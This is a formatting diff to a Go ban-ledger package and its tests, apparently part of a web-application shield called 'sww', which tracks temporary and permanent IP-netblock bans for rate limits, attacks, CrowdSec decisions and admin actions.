fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255),
)
return anomaly.Request{ return anomaly.Request{Client: client, ClientGroup: netip.PrefixFrom(client, 32)}
Client: client,
ClientGroup: netip.PrefixFrom(client, 32),
}
} }
// holds reports whether counters hold the counter of client number i. // holds reports whether counters hold the counter of client number i.
+42 -146
View File
@@ -36,21 +36,9 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
// then one with an admin's ban before a ban sww made: the one // then one with an admin's ban before a ban sww made: the one
// ban counted toward MaxBans. // ban counted toward MaxBans.
ledger.Load([]bans.Ban{ ledger.Load([]bans.Ban{
{ {Netblock: adminsOnly, Start: midnight().Add(-3 * time.Hour), Cause: bans.CauseAdmin},
Netblock: adminsOnly, {Netblock: adminsOnly, Start: midnight().Add(-2 * time.Hour), Cause: bans.CauseAdmin},
Start: midnight().Add(-3 * time.Hour), {Netblock: both, Start: midnight().Add(-time.Hour), Cause: bans.CauseAdmin},
Cause: bans.CauseAdmin,
},
{
Netblock: adminsOnly,
Start: midnight().Add(-2 * time.Hour),
Cause: bans.CauseAdmin,
},
{
Netblock: both,
Start: midnight().Add(-time.Hour),
Cause: bans.CauseAdmin,
},
{ {
Netblock: both, Netblock: both,
Start: midnight(), Start: midnight(),
@@ -62,27 +50,15 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
// A new ban drops the ban sww made, and only that one. // A new ban drops the ban sww made, and only that one.
ledger.BanForLimit(second, midnight(), bans.Notes{}) ledger.BanForLimit(second, midnight(), bans.Notes{})
wantBans( wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1})
t,
ledger,
map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1},
)
if ledger.Bans(both)[0].Cause != bans.CauseAdmin { if ledger.Bans(both)[0].Cause != bans.CauseAdmin {
t.Errorf( t.Errorf("%s kept %+v, want the admin's ban", both, ledger.Bans(both))
"%s kept %+v, want the admin's ban",
both,
ledger.Bans(both),
)
} }
// And the next drops that one. // And the next drops that one.
ledger.BanForLimit(third, midnight(), bans.Notes{}) ledger.BanForLimit(third, midnight(), bans.Notes{})
wantBans( wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1})
t,
ledger,
map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1},
)
} }
func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) { func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
@@ -98,11 +74,7 @@ func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
// twice, each time after its last ban has ended. // twice, each time after its last ban has ended.
ledger.BanForAdmin(netblock, midnight(), midnight().Add(time.Minute), ledger.BanForAdmin(netblock, midnight(), midnight().Add(time.Minute),
"probes for logins") "probes for logins")
first, _ := ledger.BanForLimit( first, _ := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
netblock,
midnight().Add(time.Minute),
bans.Notes{},
)
second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{}) second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
// A ban on another netblock fills the ledger, and the netblock's first // A ban on another netblock fills the ledger, and the netblock's first
@@ -147,21 +119,12 @@ func TestReasonOfTheBansSwwMakes(t *testing.T) {
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
limit, _ := ledger.BanForLimit( limit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
netip.MustParsePrefix("203.0.113.1/32"), bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"})
midnight(), byteLimit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.3/32"),
bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"}, midnight(), bans.Notes{Kind: "bytes", Limit: 10 << 30, Window: "hour"})
) attack, _ := ledger.BanForAttack(netip.MustParsePrefix("203.0.113.2/32"), midnight(),
byteLimit, _ := ledger.BanForLimit( bans.Notes{RuleID: "git-dir", Target: "path"})
netip.MustParsePrefix("203.0.113.3/32"),
midnight(),
bans.Notes{Kind: "bytes", Limit: 10 << 30, Window: "hour"},
)
attack, _ := ledger.BanForAttack(
netip.MustParsePrefix("203.0.113.2/32"),
midnight(),
bans.Notes{RuleID: "git-dir", Target: "path"},
)
for _, tc := range []struct{ got, want string }{ for _, tc := range []struct{ got, want string }{
{limit.Reason, "requests per minute over the limit of 1000"}, {limit.Reason, "requests per minute over the limit of 1000"},
@@ -203,25 +166,17 @@ func TestLiftedBanForALimitRefusesNothingAndMakesNoBanLonger(t *testing.T) {
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{}) ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
if ban.Expires.Sub(ban.Start) != time.Hour || if ban.Expires.Sub(ban.Start) != time.Hour ||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
t.Errorf( t.Errorf("the next ban lasts %s with earlier bans %+v, want 1h and 1 for a limit",
"the next ban lasts %s with earlier bans %+v, want 1h and 1 for a limit", ban.Expires.Sub(ban.Start), ban.Notes.EarlierBans)
ban.Expires.Sub(ban.Start),
ban.Notes.EarlierBans,
)
} }
held := ledger.Bans(netblock) held := ledger.Bans(netblock)
if len(held) != 2 || !reflect.DeepEqual(held[0], lifted) { if len(held) != 2 || !reflect.DeepEqual(held[0], lifted) {
t.Errorf( t.Errorf("the ledger holds %+v, want the lifted ban and the new one", held)
"the ledger holds %+v, want the lifted ban and the new one",
held,
)
} }
} }
func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger( func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
// A permanent ban for a clear sign of attack, lifted. // A permanent ban for a clear sign of attack, lifted.
@@ -243,20 +198,13 @@ func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(
active, permanent := ledger.Count(now) active, permanent := ledger.Count(now)
if active != 0 || permanent != 0 { if active != 0 || permanent != 0 {
t.Errorf( t.Errorf("%d bans are active and %d permanent, want none", active, permanent)
"%d bans are active and %d permanent, want none",
active,
permanent,
)
} }
// The next clear sign of attack bans for seven days, as a first does. // The next clear sign of attack bans for seven days, as a first does.
ban, _ := ledger.BanForAttack(netblock, now, bans.Notes{}) ban, _ := ledger.BanForAttack(netblock, now, bans.Notes{})
if ban.Expires.Sub(ban.Start) != 7*day { if ban.Expires.Sub(ban.Start) != 7*day {
t.Errorf( t.Errorf("the next ban for an attack ends at %s, want seven days on", ban.Expires)
"the next ban for an attack ends at %s, want seven days on",
ban.Expires,
)
} }
} }
@@ -264,11 +212,8 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
made, _ := ledger.BanForLimit( made, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
netip.MustParsePrefix("203.0.113.1/32"), bans.Notes{})
midnight(),
bans.Notes{},
)
atStart := bans.Ban{ atStart := bans.Ban{
Netblock: netip.MustParsePrefix("203.0.113.2/32"), Netblock: netip.MustParsePrefix("203.0.113.2/32"),
Start: midnight(), Start: midnight(),
@@ -278,10 +223,7 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
ledger.Load([]bans.Ban{made, atStart}) ledger.Load([]bans.Ban{made, atStart})
if got := ledger.Made(bans.CauseAdmin); got != 0 { if got := ledger.Made(bans.CauseAdmin); got != 0 {
t.Fatalf( t.Fatalf("%d bans made by an admin after the start's, want none", got)
"%d bans made by an admin after the start's, want none",
got,
)
} }
// The admin keeps the ban sww made, keeps the one read at the // The admin keeps the ban sww made, keeps the one read at the
@@ -294,13 +236,9 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
} }
ledger.LoadEdit([]bans.Ban{kept, atStart, added}) ledger.LoadEdit([]bans.Ban{kept, atStart, added})
if ledger.Made(bans.CauseAdmin) != 1 || if ledger.Made(bans.CauseAdmin) != 1 || ledger.Made(bans.CauseLimit) != 1 {
ledger.Made(bans.CauseLimit) != 1 { t.Errorf("%d bans made by an admin and %d for a limit, want 1 of each",
t.Errorf( ledger.Made(bans.CauseAdmin), ledger.Made(bans.CauseLimit))
"%d bans made by an admin and %d for a limit, want 1 of each",
ledger.Made(bans.CauseAdmin),
ledger.Made(bans.CauseLimit),
)
} }
} }
@@ -326,12 +264,8 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
Notes: bans.Notes{EarlierBans: bans.EarlierBans{Limit: 1}}, Notes: bans.Notes{EarlierBans: bans.EarlierBans{Limit: 1}},
} }
got := ledger.BanForAdmin( got := ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.9/24"), now, time.Time{},
netip.MustParsePrefix("203.0.113.9/24"), "probes for logins")
now,
time.Time{},
"probes for logins",
)
if !reflect.DeepEqual(got, want) { if !reflect.DeepEqual(got, want) {
t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want) t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want)
} }
@@ -343,17 +277,10 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
} }
// It refuses once the ban for the limit has ended. // It refuses once the ban for the limit has ended.
ban, banned, _ := ledger.Find( ban, banned, _ := ledger.Find(netblock.Addr(), midnight().Add(2*time.Hour))
netblock.Addr(),
midnight().Add(2*time.Hour),
)
if !banned || !reflect.DeepEqual(ban, want) { if !banned || !reflect.DeepEqual(ban, want) {
t.Errorf( t.Errorf("after the limit's ban the netblock is under %+v (%t), want %+v",
"after the limit's ban the netblock is under %+v (%t), want %+v", ban, banned, want)
ban,
banned,
want,
)
} }
} }
@@ -385,12 +312,8 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
now := midnight().Add(time.Minute) now := midnight().Add(time.Minute)
lifted := ledger.Lift(client, now) lifted := ledger.Lift(client, now)
if len(lifted) != 2 || lifted[0].Lifted != now || if len(lifted) != 2 || lifted[0].Lifted != now || lifted[1].Lifted != now {
lifted[1].Lifted != now { t.Errorf("lifted %+v, want the two active bans covering the client", lifted)
t.Errorf(
"lifted %+v, want the two active bans covering the client",
lifted,
)
} }
wantChanged(t, ledger, true) wantChanged(t, ledger, true)
@@ -407,11 +330,8 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
covering := ledger.Covering(client) covering := ledger.Covering(client)
if len(covering) != 3 || covering[0].Netblock != wide || if len(covering) != 3 || covering[0].Netblock != wide ||
!covering[1].Lifted.IsZero() || covering[2].Lifted != now { !covering[1].Lifted.IsZero() || covering[2].Lifted != now {
t.Errorf( t.Errorf("the bans covering the client are %+v, want the /24's and both "+
"the bans covering the client are %+v, want the /24's and both "+ "of its own, the earlier not lifted", covering)
"of its own, the earlier not lifted",
covering,
)
} }
// With none active, nothing is lifted or changed. // With none active, nothing is lifted or changed.
@@ -422,26 +342,16 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
wantChanged(t, ledger, false) wantChanged(t, ledger, false)
} }
func TestPermanentBanOnAWiderNetblockIsReturnedOverATemporaryBan( func TestPermanentBanOnAWiderNetblockIsReturnedOverATemporaryBan(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
client := netip.MustParseAddr("203.0.113.9") client := netip.MustParseAddr("203.0.113.9")
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
// The temporary ban is made first, so that its netblock is looked at first. // The temporary ban is made first, so that its netblock is looked at first.
ledger.BanForLimit( ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(), bans.Notes{})
netip.MustParsePrefix("203.0.113.9/32"), ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.0/24"), midnight(), time.Time{},
midnight(), "for good")
bans.Notes{},
)
ledger.BanForAdmin(
netip.MustParsePrefix("203.0.113.0/24"),
midnight(),
time.Time{},
"for good",
)
wantPermanentBan(t, ledger, client, midnight().Add(time.Minute)) wantPermanentBan(t, ledger, client, midnight().Add(time.Minute))
} }
@@ -453,19 +363,10 @@ func TestOlderPermanentBanIsReturnedOverANewerTemporaryBan(t *testing.T) {
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
ledger.BanForAdmin(netblock, midnight(), time.Time{}, "for good") ledger.BanForAdmin(netblock, midnight(), time.Time{}, "for good")
ledger.BanForAdmin( ledger.BanForAdmin(netblock, midnight().Add(time.Minute), midnight().Add(time.Hour),
netblock, "for an hour")
midnight().Add(time.Minute),
midnight().Add(time.Hour),
"for an hour",
)
wantPermanentBan( wantPermanentBan(t, ledger, netblock.Addr(), midnight().Add(2*time.Minute))
t,
ledger,
netblock.Addr(),
midnight().Add(2*time.Minute),
)
} }
// wantPermanentBan checks that Find and Check return a permanent ban for // wantPermanentBan checks that Find and Check return a permanent ban for
@@ -481,12 +382,7 @@ func wantPermanentBan(
} { } {
ban, banned, _ := look(client, now) ban, banned, _ := look(client, now)
if !banned || !ban.Permanent() { if !banned || !ban.Permanent() {
t.Errorf( t.Errorf("%s returned %+v and banned %v, want a permanent ban", name, ban, banned)
"%s returned %+v and banned %v, want a permanent ban",
name,
ban,
banned,
)
} }
} }
} }
+21 -93
View File
@@ -123,7 +123,7 @@ type Notes struct {
LimitPercentSetting string `json:"limit_percent_setting,omitempty"` LimitPercentSetting string `json:"limit_percent_setting,omitempty"`
// RuleID and Target are, for a ban for a clear sign of attack, the id // RuleID and Target are, for a ban for a clear sign of attack, the id
// of the rule file rule that matched, and its target; TrapPath is, for // of the rule file rule that matched, and its target; TrapPath is, for
// one for a request for a path in SWW_TRAP_PATHS, that path as the // one for a request for a path in SWW_WAF_TRAP_PATHS, that path as the
// client sent it. // client sent it.
RuleID string `json:"rule_id,omitempty"` RuleID string `json:"rule_id,omitempty"`
Target string `json:"target,omitempty"` Target string `json:"target,omitempty"`
@@ -199,7 +199,7 @@ type Ledger struct {
// v4Lengths and v6Lengths are the lengths of the IPv4 and IPv6 // v4Lengths and v6Lengths are the lengths of the IPv4 and IPv6
// netblocks that have been banned. Check looks for a ban at each of // netblocks that have been banned. Check looks for a ban at each of
// them, so that a ban read from bans.json refuses every client in its // them, so that a ban read from bans.json refuses every client in its
// netblock even when it was made with another SWW_BAN_SCOPE_V4_PREFIX, // netblock even when it was made with another SWW_WAF_BAN_SCOPE_V4_PREFIX,
// or another length of an IPv6 client's netblock. // or another length of an IPv6 client's netblock.
v4Lengths, v6Lengths []int v4Lengths, v6Lengths []int
} }
@@ -209,10 +209,7 @@ func New(params Params) *Ledger {
// The ledger drops bans itself, and never those whose cause is // The ledger drops bans itself, and never those whose cause is
// CauseAdmin, however many there are, so the LRU has no limit of its // CauseAdmin, however many there are, so the LRU has no limit of its
// own: it keeps the netblocks in the order they were last seen. // own: it keeps the netblocks in the order they were last seen.
netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban]( netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban](math.MaxInt, nil)
math.MaxInt,
nil,
)
if err != nil { if err != nil {
panic(err) // NewLRU fails only for a size below one panic(err) // NewLRU fails only for a size below one
} }
@@ -315,15 +312,7 @@ func activeBan(bans []Ban, now time.Time) *Ban {
func (l *Ledger) BanForLimit( func (l *Ledger) BanForLimit(
netblock netip.Prefix, now time.Time, notes Notes, netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) { ) (Ban, bool) {
return l.ban( return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, true)
netblock,
now,
time.Time{},
CauseLimit,
limitReason(notes),
notes,
true,
)
} }
// WouldBanForLimit returns what BanForLimit would, without making the ban: // WouldBanForLimit returns what BanForLimit would, without making the ban:
@@ -331,15 +320,7 @@ func (l *Ledger) BanForLimit(
func (l *Ledger) WouldBanForLimit( func (l *Ledger) WouldBanForLimit(
netblock netip.Prefix, now time.Time, notes Notes, netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) { ) (Ban, bool) {
return l.ban( return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, false)
netblock,
now,
time.Time{},
CauseLimit,
limitReason(notes),
notes,
false,
)
} }
// BanForAttack bans netblock at now for a clear sign of attack, with // BanForAttack bans netblock at now for a clear sign of attack, with
@@ -350,15 +331,7 @@ func (l *Ledger) WouldBanForLimit(
func (l *Ledger) BanForAttack( func (l *Ledger) BanForAttack(
netblock netip.Prefix, now time.Time, notes Notes, netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) { ) (Ban, bool) {
return l.ban( return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes, true)
netblock,
now,
time.Time{},
CauseAttack,
attackReason(notes),
notes,
true,
)
} }
// WouldBanForAttack returns what BanForAttack would, without making the // WouldBanForAttack returns what BanForAttack would, without making the
@@ -366,15 +339,8 @@ func (l *Ledger) BanForAttack(
func (l *Ledger) WouldBanForAttack( func (l *Ledger) WouldBanForAttack(
netblock netip.Prefix, now time.Time, notes Notes, netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) { ) (Ban, bool) {
return l.ban( return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes,
netblock, false)
now,
time.Time{},
CauseAttack,
attackReason(notes),
notes,
false,
)
} }
// BanForCrowdSec bans netblock at now until expires, when CrowdSec's // BanForCrowdSec bans netblock at now until expires, when CrowdSec's
@@ -382,39 +348,19 @@ func (l *Ledger) WouldBanForAttack(
// whether it made it, as BanForLimit does. Its reason is "CrowdSec's // whether it made it, as BanForLimit does. Its reason is "CrowdSec's
// decision for <scenario>", the scenario that made the decision. // decision for <scenario>", the scenario that made the decision.
func (l *Ledger) BanForCrowdSec( func (l *Ledger) BanForCrowdSec(
netblock netip.Prefix, netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
now, expires time.Time,
scenario string,
notes Notes,
) (Ban, bool) { ) (Ban, bool) {
return l.ban( return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
netblock, true)
now,
expires,
CauseCrowdSec,
crowdSecReason(scenario),
notes,
true,
)
} }
// WouldBanForCrowdSec returns what BanForCrowdSec would, without making // WouldBanForCrowdSec returns what BanForCrowdSec would, without making
// the ban: what observe mode would have done. // the ban: what observe mode would have done.
func (l *Ledger) WouldBanForCrowdSec( func (l *Ledger) WouldBanForCrowdSec(
netblock netip.Prefix, netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
now, expires time.Time,
scenario string,
notes Notes,
) (Ban, bool) { ) (Ban, bool) {
return l.ban( return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
netblock, false)
now,
expires,
CauseCrowdSec,
crowdSecReason(scenario),
notes,
false,
)
} }
// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit, // WouldBePermanent reports whether a ban on netblock for cause, CauseLimit,
@@ -559,10 +505,7 @@ func (l *Ledger) Bans(netblock netip.Prefix) []Ban {
// about it. It is not a request from netblock, and leaves when it was last // about it. It is not a request from netblock, and leaves when it was last
// seen unchanged. It does not have bans.json written at once: the notes // seen unchanged. It does not have bans.json written at once: the notes
// are written with its next write, as the counts in them are. // are written with its next write, as the counts in them are.
func (l *Ledger) AddLookup( func (l *Ledger) AddLookup(netblock netip.Prefix, asn, asName, country string) {
netblock netip.Prefix,
asn, asName, country string,
) {
l.mu.Lock() l.mu.Lock()
defer l.mu.Unlock() defer l.mu.Unlock()
@@ -711,10 +654,7 @@ func (l *Ledger) holds(netblock netip.Prefix, start time.Time) bool {
// keep is true, the ban is not made, only returned: it is the ban that // keep is true, the ban is not made, only returned: it is the ban that
// would have been made. // would have been made.
func (l *Ledger) ban( func (l *Ledger) ban(
netblock netip.Prefix, netblock netip.Prefix, now, expires time.Time, cause, reason string, notes Notes,
now, expires time.Time,
cause, reason string,
notes Notes,
keep bool, keep bool,
) (Ban, bool) { ) (Ban, bool) {
l.mu.Lock() l.mu.Lock()
@@ -735,13 +675,7 @@ func (l *Ledger) ban(
} }
notes.Request = notes.Request.cut() notes.Request = notes.Request.cut()
ban := Ban{ ban := Ban{Netblock: netblock, Start: now, Cause: cause, Reason: reason, Notes: notes}
Netblock: netblock,
Start: now,
Cause: cause,
Reason: reason,
Notes: notes,
}
switch cause { switch cause {
case CauseAttack: case CauseAttack:
@@ -831,9 +765,7 @@ func (l *Ledger) active(client netip.Addr, now time.Time) *Ban {
var first *Ban var first *Ban
for _, length := range lengths { for _, length := range lengths {
bans, found := l.netblocks.Get( bans, found := l.netblocks.Get(netip.PrefixFrom(client, length).Masked())
netip.PrefixFrom(client, length).Masked(),
)
if !found { if !found {
continue continue
} }
@@ -866,9 +798,7 @@ func (l *Ledger) covering(client netip.Addr) []*[]Ban {
var found []*[]Ban var found []*[]Ban
for _, length := range lengths { for _, length := range lengths {
bans, ok := l.netblocks.Peek( bans, ok := l.netblocks.Peek(netip.PrefixFrom(client, length).Masked())
netip.PrefixFrom(client, length).Masked(),
)
if ok { if ok {
found = append(found, bans) found = append(found, bans)
} }
@@ -922,15 +852,13 @@ func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
var last *Ban var last *Ban
for i, ban := range held { for i, ban := range held {
if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) && if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) && ban.Lifted.IsZero() &&
ban.Lifted.IsZero() &&
(last == nil || ban.Expires.After(last.Expires)) { (last == nil || ban.Expires.After(last.Expires)) {
last = &held[i] last = &held[i]
} }
} }
if last != nil && if last != nil && now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
lastLength := last.Expires.Sub(last.Start) lastLength := last.Expires.Sub(last.Start)
// This is repeatFactor * lastLength > MaxBanDuration, written so // This is repeatFactor * lastLength > MaxBanDuration, written so
// that it cannot overflow. // that it cannot overflow.
+59 -212
View File
@@ -27,14 +27,8 @@ func TestRepeatsTripleUntilPermanent(t *testing.T) {
length := time.Duration(hours) * time.Hour length := time.Duration(hours) * time.Hour
if !ban.Expires.Equal(now.Add(length)) || if !ban.Expires.Equal(now.Add(length)) ||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: i}) { ban.Notes.EarlierBans != (bans.EarlierBans{Limit: i}) {
t.Fatalf( t.Fatalf("ban %d lasts %s with earlier bans %+v, want %d hours and %d for a limit",
"ban %d lasts %s with earlier bans %+v, want %d hours and %d for a limit", i+1, ban.Expires.Sub(now), ban.Notes.EarlierBans, hours, i)
i+1,
ban.Expires.Sub(now),
ban.Notes.EarlierBans,
hours,
i,
)
} }
now = ban.Expires now = ban.Expires
@@ -71,27 +65,13 @@ func TestRepeatWindowRunsOut(t *testing.T) {
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
first, _ := ledger.BanForLimit( first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
netblock, second, _ := ledger.BanForLimit(netblock, first.Expires.Add(tc.gap), bans.Notes{})
midnight(),
bans.Notes{},
)
second, _ := ledger.BanForLimit(
netblock,
first.Expires.Add(tc.gap),
bans.Notes{},
)
if second.Expires.Sub(second.Start) != tc.want || if second.Expires.Sub(second.Start) != tc.want ||
second.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { second.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
t.Errorf( t.Errorf("second ban lasts %s with earlier bans %+v, want %s and 1 for a limit",
"second ban lasts %s with earlier bans %+v, want %s and 1 for a limit", second.Expires.Sub(second.Start), second.Notes.EarlierBans, tc.want)
second.Expires.Sub(
second.Start,
),
second.Notes.EarlierBans,
tc.want,
)
} }
}) })
} }
@@ -104,11 +84,8 @@ func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
params.LimitBanDuration = params.MaxBanDuration + time.Hour params.LimitBanDuration = params.MaxBanDuration + time.Hour
ledger := bans.New(params) ledger := bans.New(params)
ban, _ := ledger.BanForLimit( ban, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(),
netip.MustParsePrefix("203.0.113.9/32"), bans.Notes{})
midnight(),
bans.Notes{},
)
if !ban.Permanent() { if !ban.Permanent() {
t.Errorf("first ban ends at %s, want a permanent one", ban.Expires) t.Errorf("first ban ends at %s, want a permanent one", ban.Expires)
} }
@@ -129,12 +106,7 @@ func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
for i := range 14 { for i := range 14 {
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{}) ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
if !ban.Expires.After(ban.Start) { if !ban.Expires.After(ban.Start) {
t.Fatalf( t.Fatalf("ban %d starts at %s and ends at %s", i+1, ban.Start, ban.Expires)
"ban %d starts at %s and ends at %s",
i+1,
ban.Start,
ban.Expires,
)
} }
now = ban.Expires now = ban.Expires
@@ -157,36 +129,17 @@ func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) {
t.Error("the first ban was not made") t.Error("the first ban was not made")
} }
again, made := ledger.BanForLimit( again, made := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
netblock,
midnight().Add(time.Minute),
bans.Notes{},
)
if made || !reflect.DeepEqual(again, first) || if made || !reflect.DeepEqual(again, first) || len(ledger.Bans(netblock)) != 1 {
len(ledger.Bans(netblock)) != 1 { t.Errorf("a limit broken during a ban gave %+v, made %t, and %d bans, "+
t.Errorf( "want %+v, not made, and 1", again, made, len(ledger.Bans(netblock)), first)
"a limit broken during a ban gave %+v, made %t, and %d bans, "+
"want %+v, not made, and 1",
again,
made,
len(ledger.Bans(netblock)),
first,
)
} }
again, made = ledger.BanForAttack( again, made = ledger.BanForAttack(netblock, midnight().Add(time.Minute), bans.Notes{})
netblock,
midnight().Add(time.Minute),
bans.Notes{},
)
if made || !reflect.DeepEqual(again, first) { if made || !reflect.DeepEqual(again, first) {
t.Errorf( t.Errorf("an attack during a ban gave %+v, made %t, want %+v, not made",
"an attack during a ban gave %+v, made %t, want %+v, not made", again, made, first)
again,
made,
first,
)
} }
} }
@@ -195,26 +148,16 @@ func TestCheckRefusesWhileTheBanLastsAndCountsTheRefusals(t *testing.T) {
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
ban, _ := ledger.BanForLimit( ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
netblock,
midnight(),
bans.Notes{Requests: 5},
)
for range 3 { for range 3 {
got, banned, _ := ledger.Check( got, banned, _ := ledger.Check(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
netblock.Addr(),
ban.Expires.Add(-time.Nanosecond),
)
if !banned || got.Start != ban.Start { if !banned || got.Start != ban.Start {
t.Fatalf("check during the ban gives %+v and %t", got, banned) t.Fatalf("check during the ban gives %+v and %t", got, banned)
} }
} }
_, banned, _ := ledger.Check( _, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.10"), midnight())
netip.MustParseAddr("203.0.113.10"),
midnight(),
)
if banned { if banned {
t.Error("another netblock is banned") t.Error("another netblock is banned")
} }
@@ -237,23 +180,11 @@ func TestFindCountsNothing(t *testing.T) {
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
ban, _ := ledger.BanForLimit( ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
netblock,
midnight(),
bans.Notes{Requests: 5},
)
got, banned, _ := ledger.Find( got, banned, _ := ledger.Find(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
netblock.Addr(),
ban.Expires.Add(-time.Nanosecond),
)
if !banned || !reflect.DeepEqual(got, ban) { if !banned || !reflect.DeepEqual(got, ban) {
t.Errorf( t.Errorf("find during the ban gives %+v and %t, want %+v", got, banned, ban)
"find during the ban gives %+v and %t, want %+v",
got,
banned,
ban,
)
} }
_, banned, _ = ledger.Find(netblock.Addr(), ban.Expires) _, banned, _ = ledger.Find(netblock.Addr(), ban.Expires)
@@ -261,21 +192,12 @@ func TestFindCountsNothing(t *testing.T) {
t.Error("the ban did not end") t.Error("the ban did not end")
} }
if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual( if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual(notes, ban.Notes) {
notes, t.Errorf("the notes are %+v, want them unchanged, %+v", notes, ban.Notes)
ban.Notes,
) {
t.Errorf(
"the notes are %+v, want them unchanged, %+v",
notes,
ban.Notes,
)
} }
} }
func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo( func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
params := defaultParams() params := defaultParams()
@@ -308,10 +230,7 @@ func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(
wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 1, d: 1}) wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 1, d: 1})
if !ledger.Bans(a)[0].Start.Equal(first.Expires) { if !ledger.Bans(a)[0].Start.Equal(first.Expires) {
t.Errorf( t.Errorf("a kept its ban of %s, want the later one", ledger.Bans(a)[0].Start)
"a kept its ban of %s, want the later one",
